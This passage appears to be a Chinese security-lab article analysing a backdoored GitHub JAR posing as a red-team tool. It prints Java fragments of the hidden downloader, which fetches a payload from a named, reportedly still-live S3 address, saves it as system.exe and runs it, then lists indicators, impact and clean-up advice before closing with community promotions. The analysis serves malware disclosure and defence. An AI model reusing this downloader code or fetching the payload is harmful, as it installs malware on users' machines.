\"system.exe\"// 落地即改名为可执行文件
    ),
newDownloadTask(
\"https://test-8293.s3.amazonaws.com/xsazxsc/iinmm.txt\",
\"b\"
    )
};

// 落地路径：典型的恶意软件藏匿目录
privatestaticfinalStringTARGET_DIR=\"C:\\Users\\Public\\Videos\";`

下载完成后直接执行：

`// 无条件启动下载的 EXE

privatestaticvoidstartSystemExe() {
PathexePath=Paths.get(\"C:\\Users\\Public\\Videos\").resolve(\"system.exe\");
newProcessBuilder(exePath.toString())
        .directory(exePath.getParent().toFile())
        .start();
}`

线程名为 startup-resource-downloader，伪装成\"资源下载器\"。

当前 C2 基础设施仍在线

S3 上的恶意 payload 可直接访问：

222

供应链投毒

从文档说明、版本记录到整体外包装，该项目全程以红队免杀工具为伪装形态，精准瞄准渗透测试、红队作业、安全研究从业者，而这类群体本就是该类工具的高频下载和使用者。

利用信任链：

代码托管在 GitHub 平台，靠着知名工具哥斯拉做品牌加持。

发布页面直接提供编译好的 JAR 包，上手十分简单。

整个文件有 52MB，很容易让人觉得是打包了全部依赖，其实里面混入了不少 Apache Commons 等第三方库来打掩护。

后门判断标准对照

3

影响范围

一、已确认中招案例

经沙箱环境加载测试该 JAR 程序，已复现恶意攻击行为并确认中招风险：程序可主动下发载荷，成功将C:\\Users\\Public\\Videos\\system.exe恶意程序下载至本地磁盘，文件大小 451157 字节。

本次测试过程中，该可执行文件因程序异常问题未能正常启动运行，系统 Prefetch 日志无相关执行记录，但恶意文件落地下载行为已真实生效，主机已暴露安全风险。

二、潜在风险

1.攻击者可随时替换存储在 S3 中的恶意载荷，同时也能覆盖 GitHub Release 发布的 JAR 包。即便终端用户未主动更新程序，设备下次启动时仍会拉取最新恶意载荷。

2.结合文件哈希比对结果可判断，S3 端的恶意文件正处于迭代更新阶段：从 S3 下载的文件大小分别为 800KB、458KB，而本地落地文件为 451KB，二者哈希值不一致，证实攻击者在持续修改载荷。

3.目前该恶意程序累计下载次数达 21 次，初步判定至少有 21 台设备已遭到入侵。

4

技术指标（IOC）

文件指标

网络指标

行为指标

• Java 进程启动后创建

C:\\Users\\Public\\Videos\\system.exe
* 守护线程名为 startup-resource-downloader
* 网络请求到 test-8293.s3.amazonaws.com

建 议

1、规范工具下载与使用：

严禁从非官方 GitHub 仓库、第三方分享站下载红队、渗透测试类工具，本次恶意项目借知名工具名号伪装，务必核对项目所有者、仓库历史、官方认证标识，拒绝小众复刻、二次改版类工具包。

2、加固终端与系统防护：

重点监控系统目录C:\Users\Public\Videos、公共用户目录等恶意程序常用藏匿路径，设置文件读写、新增可执行文件告警，定期查杀该目录下陌生 EXE、脚本文件。

3、加强企业/团队安全管理：

开展全员安全预警，面向运维、渗透测试、安全研究等相关人员通报本次投毒事件，明确该godzilla\_revived\_v4.0.jar为恶意程序，全员立即排查本机是否存在该文件。

4、感染排查与应急处置：

全面自查在所有办公主机、服务器中检索godzilla\_revived\_v4.0.jar、system.exe

检查C:\Users\Public\Videos目录是否存在异常可执行文件。

感染处置若发现恶意文件或相关外联行为，立即断开主机网络，删除恶意Jar包、落地的system.exe及关联文件，清理后台异常线程；完成查杀后复盘溯源。

建议点赞 + 收藏

转发给你身边的运维、网安同事！！！

• 关注我 -

• 带你了解最新安全资讯 -

微信公众号 | @POP Star安全

快手 | @【深云智安】安全实验室

小红书 | @【深云智安】安全实验室

抖音 | @【深云智安】安全实验室

bilibili | @深云智安-安全实验室

以上就是本篇文章的技术细节。

其实，每次写这类分析时，我都在想

“单篇文章就像一张漏洞快照，有价值，但也相对孤立。

真正的行业敏锐度，来自于漏洞背后的持续观察；海量告警的讨论分析；以及在真实环境中无数次历练形成的直觉。”

很难通过阅读单篇文章积累。

因此，我们构建了一个****

*“注重实战交流”与“深度共享”的*

**「知识星球」社区****

目前星球已聚集了[52]名安全工程师、研究员和团队负责人。

我们刻意控制规模，并设有加入门槛，只为维持聚焦、务实、互信的交流氛围。

“安全是一个对抗性极强的领域，一个人闭门造车，视角终究有限。

如果你已不满足于碎片信息，渴望在一个高质量的环境中，构建可迁移的实战知识体系，并连接一群值得信赖的同行者，这里或许适合你。

PS.：为了确保大家目标一致，请务必阅读星球置顶的《社区公约》。

这是一个为深度学习和有效连接付费的社区。

更多内容

欢迎加入「网络安全技术交流群」免费分享>>

我们专注漏洞研究、攻防实战与代码审计。

群内定期分享技术动态、实战资源与本文相关的工具资料，

让大家一起讨论、共同成长。

添加好友，备注「网络安全」获取入群邀请

更多问题1v1解答>>

点击阅读更多内容

代码审计

1. 代码审计-PHP 篇（一）之从原理到实战的全景指南
2. 代码审计-PHP 篇（二）之前台代码审计实战指南
3. 代码审计-PHP 篇（三）之深度审计 SQL 注入漏洞
4. 代码审计-PHP 篇（四）之文件操作类漏洞：深度剖析文件操作场景潜在风险
5. 代码审计-PHP篇（五）：洞悉风险，固守防线 -- 文件读取漏洞深度解析与防护
6. 代码审计-PHP篇（六）之文件删除漏洞：从任意删除到系统瘫痪的致命威胁

代码审计（实战篇）

1. 『PHP代码审计』· 实战篇-熊海CMS代码审计（一）
2. 『PHP代码审计』· 实战篇-熊海CMS代码审计（二）
3. 『PHP代码审计』· 实战篇-熊海CMS代码审计（三）
4. 『PHP代码审计』· 实战篇-BlueCMS代码审计
5. 『PHP代码审计』· 实战篇-DeDeCMS代码审计
6. 『PHP代码审计』· 实战篇-XdCMS代码审计

靶场搭建

1. 铸器为刃——靶场搭建系列篇（一）
2. 铸器为刃——靶场搭建系列篇（二）
3. 铸器为刃——靶场搭建系列篇（三）
4. 铸器为刃——靶场搭建系列篇（四）
5. 铸器为刃——靶场搭建系列篇（五）
6. 铸器为刃——靶场搭建系列篇（六）

环境搭建

1. 工欲善其事必先利其器—环境搭建系列之基础工具篇一
2. 工欲善其事必先利其器—『环境搭建系列之基础工具篇二
3. 工欲善其事必先利其器—环境搭建系列之基础工具篇三
4. 工欲善其事必先利其器—环境搭建系列之基础工具篇四
5. 工欲善其事必先利其器——环境搭建系列之基础工具篇（五)
6. 工欲善其事必先利其器——环境搭建系列之基础工具篇（六)